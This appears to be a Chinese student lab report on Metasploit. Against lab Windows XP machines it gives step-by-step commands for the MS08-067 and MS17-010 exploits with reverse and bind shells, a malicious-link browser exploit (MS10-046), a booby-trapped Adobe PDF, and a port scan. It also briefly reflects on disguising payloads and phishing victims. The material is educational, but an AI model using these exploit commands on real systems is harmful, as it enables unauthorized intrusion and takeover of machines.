一、实践目标
1.1实践目标
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路
1.2实践内容
- 一个主动攻击实践,如ms08_067
- 一个针对浏览器的攻击,如ms11_050
- 一个针对客户端的攻击,如Adobe
- 成功应用任何一个辅助模块
二、实践基础知识
2.1MSF基础模块
模块是指Metasploit框架中所使用的一段软件代码组件渗透攻击模块(Exploit Modules):是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为
- 辅助模块(Auxiliary Modules):能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击
- 攻击载荷(Payload Modules):简单说payload原意为‘载荷’,就是被运输的东西。在我们的上下文环境中就是指一段指令或称为shellcode
- 空字段模块(Nop Modules):是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90
- 编码模块(Encoders):攻击载荷模块与空指令模块组装完成一个指令序列后进行;确保攻击载荷中不会出现渗透攻击过程中应避免的“坏字符”;改变特征码,对攻击载荷进行“免杀”处理
- 后渗透攻击模块(Post):收集更多信息或进一步访问受攻击目标系统
2.2攻击方式
- 主动攻击:直接攻击系统开启的漏洞服务,获取系统控制权
- 攻击浏览器,获取系统控制权
- 攻击客户端应用,获取系统控制权
msf常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
三、实践过程
3.1主动攻击
3.1.1MS08-067漏洞渗透攻击实践
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
攻击机:kalilinux(ip:192.168.232.129)靶机:windows XP Professional(English)(ip:192.168.232.130)
攻击者试探靶机是否存在ms08_067这个漏洞【nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.232.130】
输入指令 msfconsole
进入控制台,使用指令 search ms08_067
指令查询一下针对该漏洞能够运用的攻击模块
输入其中提供的攻击模块。【use exploit/windows/smb/ms08_067_netapi】 进入该攻击模块,使用【show payloads】查看能够使用的攻击载荷
我这里选择 shell_reverse_tcp
,输入指令 set payload generic/shell_reverse_tcp
显示连接需要设置的参数 show options
set
RHOST 192.168.232.130
set
LPORT 4316
set
LHOST 192.168.232.129
exploit
成功回连
可以使用 systeminfo
来查看靶机的系统信息,关于计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性,RAM、磁盘空间和网卡等。
3.1.2MS17_010漏洞渗透攻击实践
使用指令【nmap --script=vuln 192.168.232.130】看看靶机是否还有其他的漏洞可以实践
跟之前一样使用 search ms17_010
指令查询一下针对该漏洞能够运用的攻击模块
输入指令 use exploit/windows/smb/ms17_010_eternalblue
进入该攻击模块,使用 show payloads
查看能够使用的攻击载荷
选择 windows/x64/meterpreter/bind_tcp
,输入指令 set payload windows/x64/meterpreter/bind_tcp
设置 payload 为绑定 tcp 连接
set
RHOST 192.168.232.130
set
LPORT 4316
set
LHOST 192.168.232.129
exploit
成功。
3.2针对浏览器的攻击
3.2.1ms10_046漏洞攻击
攻击机:kalilinux(ip:192.168.232.129)靶机:windows XP Professional(English)(ip:192.168.232.139)
首先查看浏览器漏洞:【cd /usr/share/metasploit-framework/modules/exploits/windows/browser】
输入 ls 即可看到很多漏洞代码,选择【ms10_046_shortcut_icon_dllloader.rb】
进入msf,输入【search ms10_046】先找相关漏洞模块
输入 use windows/browser/ms10_046_shortcut_icon_dllloader
,使用 show payloads
查找有效攻击载荷
set
payload windows/meterpreter/reverse_tcp
set
LHOST 192.168.232.129
set
SRVHOST 192.168.232.129
exploit
在靶机用浏览器打开生成的链接:http://192.168.232.129:80/
查看会话:sessions
选取会话:sessions -i 1 进入shell,攻击成功
3.3针对客户端的攻击
3.3.1Adobe攻击
启动msf输入【search adobe】查询针对adobe攻击模块
- 使用
use windows/fileformat/adobe_cooltype_sing
设置模块 - 输入
show payloads
查找有效攻击载荷
- 使用
set payload windows/meterpreter/bind_tcp
设置 payloads - 根据 options 设置相关参数
set
RHOST 192.168.232.130
set
LPORT 4316
exploit
将生成的 msf.pdf 复制到 Windows XP 中,back
退出当前模块,进入监听模块
use exploit/multi/handler
set
payload windows/meterpreter/bind_tcp
set
RHOST 192.168.232.130
set
LPORT 4316
exploit
成功
3.4成功应用任何一个辅助模块
3.4.1scanner/portscan/tcp(唯一)
攻击机:kalilinux(ip:192.168.232.129)靶机:windows XP Professional(English)(ip:192.168.232.130)
进入msf输入【show auxiliary】指令,查看可用的辅助模块。
我选择了【scanner/portscan/tcp】模块,该模块用来探测靶机的开放的tcp端口
输入指令【 use scanner/portscan/tcp】 。同时使用【show options】指令,查看所需配置参数
输入配置参数
set RHOSTS 192.168.232.130
exploit
即可得到探测结果
四、基础问题回答
4.1用自己的话解释什么是exploit,payload,encode
- exploit利用漏洞,如何利用漏洞,相当于一个通道。
- payload就是一段恶意代码,针对对应漏洞进行相应的攻击
- encode就是包装,相当于给payload套上一层伪装,增加隐蔽性
4.2 离实战还缺些什么技术或步骤
我们这次实验是关闭了xp靶机的防火墙,但在实战中指望别人主动关闭防火墙不太现实,所以我们需要对自己的恶意代码进行伪装以绕过防火墙。其次是由于我们是单人实验,所以靶机的行为均符合攻击机的期望,所以我们在伪装恶意代码时要对靶机主人的习惯有一定了解,使靶机能被“钓鱼:。
五、实践总结
本次实验主要是使用MSF,MSF是一个比较强大的攻击工具,能根据靶机的漏洞自动给出payload,而我们只需要设置option即可。可以说,我们很多人虽然不算很了解这些攻击方式的原理和步骤,但通过简单的培训也可以使用MSF进行攻击,这也提醒我们注意个人网络安全。不仅如此,我们也应该精益求精,了解一些常见的参数和术语,提高自己的水平。